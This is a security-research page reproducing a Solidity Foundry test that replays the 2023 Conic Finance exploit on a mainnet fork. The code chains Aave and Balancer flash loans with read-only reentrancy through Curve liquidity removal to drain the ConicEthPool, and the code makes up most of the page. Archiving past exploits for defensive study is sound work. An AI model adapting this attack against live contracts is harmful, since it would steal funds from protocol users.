Skip to content
THREATWIRE

Public reproduction file

src/test/2023-07/Conic_exp.sol

Public reproduction file for dataset entry Conic Finance.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-07/Conic_exp.sol273 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~3.25M USD$
8// Attacker : https://etherscan.io/address/0x8d67db0b205e32a5dd96145f022fa18aae7dc8aa
9// Attack Contract : https://etherscan.io/address/0x743599ba5cfa3ce8c59691af5ef279aaafa2e4eb
10// Vulnerable Contract : https://etherscan.io/address/0xbb787d6243a8d450659e09ea6fd82f1c859691e9
11// Attack Tx : https://etherscan.io/tx/0x8b74995d1d61d3d7547575649136b8765acb22882960f0636941c44ec7bbe146
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0xbb787d6243a8d450659e09ea6fd82f1c859691e9#code
16// @Analysis
17// Post-mortem : https://medium.com/@ConicFinance/post-mortem-eth-and-crvusd-omnipool-exploits-c9c7fa213a3d
18// Twitter Guy : https://twitter.com/BlockSecTeam/status/1682356244299010049
20interface IConicEthPool {
21 function handleDepeggedCurvePool(
22 address
23 ) external;
25 function deposit(uint256 underlyingAmount, uint256 minLpReceived, bool stake) external returns (uint256);
27 function withdraw(uint256 conicLpAmount, uint256 minUnderlyingReceived) external returns (uint256);
30interface IGenericOracleV2 {
31 function getUSDPrice(
32 address
33 ) external returns (uint256);
36interface ICurve {
37 function exchange(uint256 i, uint256 j, uint256 dx, uint256 min_dy) external payable returns (uint256);
39 function add_liquidity(uint256[2] memory amounts, uint256 min_mint_amount) external payable returns (uint256);
41 function remove_liquidity(
42 uint256 token_amount,
43 uint256[2] memory min_amounts,
44 bool use_eth,
45 address receiver
46 ) external;
49contract ContractTest is Test {
50 IWFTM WETH = IWFTM(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));
51 IERC20 rETH = IERC20(0xae78736Cd615f374D3085123A210448E74Fc6393);
52 IERC20 stETH = IERC20(0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84);
53 IERC20 cbETH = IERC20(0xBe9895146f7AF43049ca1c1AE358B0541Ea49704);
54 IERC20 steCRV = IERC20(0x06325440D014e39736583c165C2963BA99fAf14E);
55 IERC20 cbETH_ETH_LP = IERC20(0x5b6C539b224014A09B3388e51CaAA8e354c959C8);
56 IERC20 rETH_ETH_LP = IERC20(0x6c38cE8984a890F5e46e6dF6117C26b3F1EcfC9C);
57 IERC20 cncETH = IERC20(0x3565A68666FD3A6361F06f84637E805b727b4A47);
58 ICurve rETH_ETH_Pool = ICurve(0x0f3159811670c117c372428D4E69AC32325e4D0F);
59 ICurve cbETH_ETH_Pool = ICurve(0x5FAE7E604FC3e24fd43A72867ceBaC94c65b404A);
60 IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
61 IAaveFlashloan aaveV2 = IAaveFlashloan(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9);
62 IAaveFlashloan aaveV3 = IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2);
63 ICurvePool LidoCurvePool = ICurvePool(0xDC24316b9AE028F1497c275EB9192a3Ea0f67022);
64 IConicEthPool ConicEthPool = IConicEthPool(0xBb787d6243a8D450659E09ea6fD82F1C859691e9);
65 IGenericOracleV2 Oracle = IGenericOracleV2(0x286eF89cD2DA6728FD2cb3e1d1c5766Bcea344b0);
66 uint256 nonce;
68 function setUp() public {
69 vm.createSelectFork("mainnet", 17_740_954);
70 vm.label(address(WETH), "WETH");
71 vm.label(address(steCRV), "steCRV");
72 vm.label(address(cbETH_ETH_LP), "cbETH_ETH_LP");
73 vm.label(address(rETH_ETH_LP), "rETH_ETH_LP");
74 vm.label(address(cncETH), "cncETH");
75 vm.label(address(stETH), "stETH");
76 vm.label(address(rETH), "rETH");
77 vm.label(address(cbETH), "cbETH");
78 vm.label(address(LidoCurvePool), "LidoCurvePool");
79 vm.label(address(rETH_ETH_Pool), "rETH_ETH_Pool");
80 vm.label(address(cbETH_ETH_Pool), "cbETH_ETH_Pool");
81 vm.label(address(cncETH), "cncETH");
82 vm.label(address(Balancer), "Balancer");
83 vm.label(address(aaveV3), "aaveV3");
84 vm.label(address(aaveV2), "aaveV2");
85 vm.label(address(ConicEthPool), "ConicEthPool");
86 vm.label(address(Oracle), "Oracle");
87 }
89 function testExploit() external {
90 deal(address(this), 0);
91 WETH.approve(address(rETH_ETH_Pool), type(uint256).max);
92 WETH.approve(address(LidoCurvePool), type(uint256).max);
93 WETH.approve(address(cbETH_ETH_Pool), type(uint256).max);
94 WETH.approve(address(ConicEthPool), type(uint256).max);
95 stETH.approve(address(LidoCurvePool), type(uint256).max);
96 rETH.approve(address(rETH_ETH_Pool), type(uint256).max);
97 cbETH.approve(address(cbETH_ETH_Pool), type(uint256).max);
99 aaveV2Flashloan();
101 sellAllTokenToWETH();
102 emit log_named_decimal_uint(
103 "Attacker WETH balance after exploit", WETH.balanceOf(address(this)), WETH.decimals()
104 );
105 }
107 function aaveV2Flashloan() internal {
108 address[] memory assets = new address[](1);
109 assets[0] = address(stETH);
110 uint256[] memory amounts = new uint256[](1);
111 amounts[0] = 20_000 ether;
112 uint256[] memory modes = new uint256[](1);
113 modes[0] = 0;
114 aaveV2.flashLoan(address(this), assets, amounts, modes, address(this), "", 0);
115 }
117 // @Info aaveV2 flashLoan callback
118 function executeOperation(
119 address[] calldata assets,
120 uint256[] calldata amounts,
121 uint256[] calldata premiums,
122 address initiator,
123 bytes calldata params
124 ) external returns (bool) {
125 aaveV3.flashLoanSimple(address(this), address(cbETH), 850 ether, new bytes(0), 0);
126 IERC20(assets[0]).approve(address(aaveV2), amounts[0] + premiums[0]);
127 return true;
128 }
130 // @Info aaveV3 flashLoan callback
131 function executeOperation(
132 address asset,
133 uint256 amount,
134 uint256 premium,
135 address initator,
136 bytes calldata params
137 ) external payable returns (bool) {
138 balancerFlashloan();
139 IERC20(asset).approve(address(aaveV3), premium + amount);
140 return true;
141 }
143 function balancerFlashloan() internal {
144 address[] memory tokens = new address[](3);
145 tokens[0] = address(rETH);
146 tokens[1] = address(cbETH);
147 tokens[2] = address(WETH);
148 uint256[] memory amounts = new uint256[](3);
149 amounts[0] = 20_550 ether;
150 amounts[1] = 3000 ether;
151 amounts[2] = 28_504.2 ether;
152 bytes memory userData = "";
153 Balancer.flashLoan(address(this), tokens, amounts, userData);
154 }
156 // @Info balancerVault flashLoan callback
157 function receiveFlashLoan(
158 address[] memory tokens,
159 uint256[] memory amounts,
160 uint256[] memory feeAmounts,
161 bytes memory userData
162 ) external {
163 // repeatedly deposit WETH to ConicEthPool and swap cbETH,rETH to WETH
164 for (uint256 i; i < 7; ++i) {
165 ConicEthPool.deposit(1214 ether, 0, false);
166 cbETH_ETH_Pool.exchange(1, 0, 121 ether, 0);
167 rETH_ETH_Pool.exchange(1, 0, 121 ether, 0);
168 }
170 reenter_1();
172 emit log_named_decimal_uint(
173 "before Read-Only-Reentrancy cbETH_ETH_LP Price",
174 Oracle.getUSDPrice(address(cbETH_ETH_LP)),
175 cbETH_ETH_LP.decimals()
176 );
177 reenter_2();
179 emit log_named_decimal_uint(
180 "before Read-Only-Reentrancy rETH_ETH_LP Price",
181 Oracle.getUSDPrice(address(rETH_ETH_LP)),
182 rETH_ETH_LP.decimals()
183 );
184 reenter_3();
186 // repay flashLoan
187 rETH_ETH_Pool.exchange(0, 1, 3450 ether, 0); // swap WETH to rETH
188 cbETH_ETH_Pool.exchange(0, 1, 850 ether, 0); // swap WETH to cbETH
189 ConicEthPool.withdraw(cncETH.balanceOf(address(this)), 0);
190 WETH.deposit{value: address(this).balance}();
191 rETH_ETH_Pool.exchange(0, 1, 1100 ether, 0); // swap WETH to rETH
192 WETH.withdraw(300 ether);
193 LidoCurvePool.exchange{value: 300 ether}(0, 1, 300 ether, 0); // swap WETH to stETH
195 IERC20(tokens[0]).transfer(msg.sender, amounts[0] + feeAmounts[0]);
196 IERC20(tokens[1]).transfer(msg.sender, amounts[1] + feeAmounts[1]);
197 IERC20(tokens[2]).transfer(msg.sender, amounts[2] + feeAmounts[2]);
198 }
200 function reenter_1() internal {
201 WETH.withdraw(20_000 ether);
202 uint256[2] memory amount;
203 amount[0] = 20_000 ether;
204 amount[1] = stETH.balanceOf(address(this));
205 LidoCurvePool.add_liquidity{value: 20_000 ether}(amount, 0); // mint steCRV
206 amount[0] = 0;
207 amount[1] = 0;
208 emit log_named_decimal_uint(
209 "before Read-Only-Reentrancy steCRV Price", Oracle.getUSDPrice(address(steCRV)), steCRV.decimals()
210 );
211 nonce++;
212 LidoCurvePool.remove_liquidity(steCRV.balanceOf(address(this)), amount); // burn steCRV, first reentrancy enter point
213 }
215 function reenter_2() internal {
216 uint256[2] memory amount;
217 WETH.withdraw(WETH.balanceOf(address(this)) - 4 ether);
218 cbETH_ETH_Pool.exchange(1, 0, cbETH.balanceOf(address(this)), 0); // swap cbETH to WETH
219 amount[0] = 1.8 ether;
220 amount[1] = 0;
221 cbETH_ETH_Pool.add_liquidity(amount, 0); // mint cbETH/ETH-f
222 amount[0] = 0;
224 nonce++;
225 cbETH_ETH_Pool.remove_liquidity(cbETH_ETH_LP.balanceOf(address(this)), amount, true, address(this)); // burn cbETH/ETH-f, second reentrancy enter point
226 }
228 function reenter_3() internal {
229 cbETH_ETH_Pool.exchange(0, 1, WETH.balanceOf(address(this)), 0); // swap WETH to cbETH
230 rETH_ETH_Pool.exchange(1, 0, rETH.balanceOf(address(this)), 0); // swap rETH to WETH
231 uint256[2] memory amount;
232 amount[0] = 2.4 ether;
233 amount[1] = 0;
234 rETH_ETH_Pool.add_liquidity(amount, 0); // mint rETH/ETH-f
235 amount[0] = 0;
237 nonce++;
238 rETH_ETH_Pool.remove_liquidity(rETH_ETH_LP.balanceOf(address(this)), amount, true, address(this)); // burn rETH/ETH-f, third reentrancy enter point
239 }
241 receive() external payable {
242 if (msg.sender != address(WETH)) {
243 if (nonce == 1) {
244 emit log_named_decimal_uint(
245 "In Read-Only-Reentrancy steCRV Price", Oracle.getUSDPrice(address(steCRV)), steCRV.decimals()
246 );
247 ConicEthPool.handleDepeggedCurvePool(address(LidoCurvePool)); // set LidoCurvePool as depegged pool
248 } else if (nonce == 2) {
249 emit log_named_decimal_uint(
250 "In Read-Only-Reentrancy cbETH_ETH_LP Price",
251 Oracle.getUSDPrice(address(cbETH_ETH_LP)),
252 cbETH_ETH_LP.decimals()
253 );
254 ConicEthPool.handleDepeggedCurvePool(address(cbETH_ETH_Pool)); // set cbETH_ETH_Pool as depegged pool
255 } else if (nonce == 3) {
256 emit log_named_decimal_uint(
257 "In Read-Only-Reentrancy rETH_ETH_LP Price",
258 Oracle.getUSDPrice(address(rETH_ETH_LP)),
259 rETH_ETH_LP.decimals()
260 );
261 ConicEthPool.withdraw(6292 ether, 0); // withdraw assets from ConicEthPool
262 nonce++;
263 }
264 }
265 }
267 function sellAllTokenToWETH() internal {
268 cbETH_ETH_Pool.exchange(1, 0, cbETH.balanceOf(address(this)), 0);
269 rETH_ETH_Pool.exchange(1, 0, rETH.balanceOf(address(this)), 0);
270 LidoCurvePool.exchange(1, 0, stETH.balanceOf(address(this)), 0);
271 WETH.deposit{value: address(this).balance}();
272 }

Analysis

Dataset entry

Public Foundry test for “Conic Finance” (2023-07-21). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

23 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x8d67db0b205e32a5dd96145f022fa18aae7dc8aa

  • Attack Contract

    0x743599ba5cfa3ce8c59691af5ef279aaafa2e4eb

  • Vulnerable Contract

    0xbb787d6243a8d450659e09ea6fd82f1c859691e9

  • Attack Tx

    0x8b74995d1d61d3d7547575649136b8765acb22882960f0636941c44ec7bbe146

File record

Name
Conic Finance
Path
src/test/2023-07/Conic_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
f7c0568e32af9fa53419543279b53477b2c71609
Language
Solidity
Size
274 lines
Date
2023-07-21
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-07/Conic_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob f7c0568e32af9fa53419543279b53477b2c71609, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.